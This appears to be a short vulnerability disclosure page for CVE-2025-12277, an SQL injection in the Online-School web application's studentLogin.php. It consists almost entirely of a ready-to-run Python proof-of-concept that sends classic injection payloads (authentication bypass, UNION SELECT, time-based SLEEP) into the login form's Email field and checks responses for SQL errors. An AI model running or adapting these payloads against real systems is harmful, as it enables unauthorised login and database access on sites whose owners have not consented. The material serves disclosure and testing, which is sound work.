CVE-2025-12277 | Abdullah-Hasan-Sajjad Online-School SQL注入漏洞

import requests # CVE-2025-12277 SQL Injection PoC # Target: Abdullah-Hasan-Sajjad Online-School /studentLogin.php target_url = "http://target.com/studentLogin.php" # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' OR 1=1--", "admin'--", "' UNION SELECT NULL--", "' AND SLEEP(5)--", ] def test_sql_injection(url, param_name='Email'): print(f"[*] Testing SQL Injection on {url}") for payload in payloads: data = { param_name: payload, 'Password': 'test' } try: response = requests.post(url, data=data, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f" [!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == '__main__': test_sql_injection(target_url)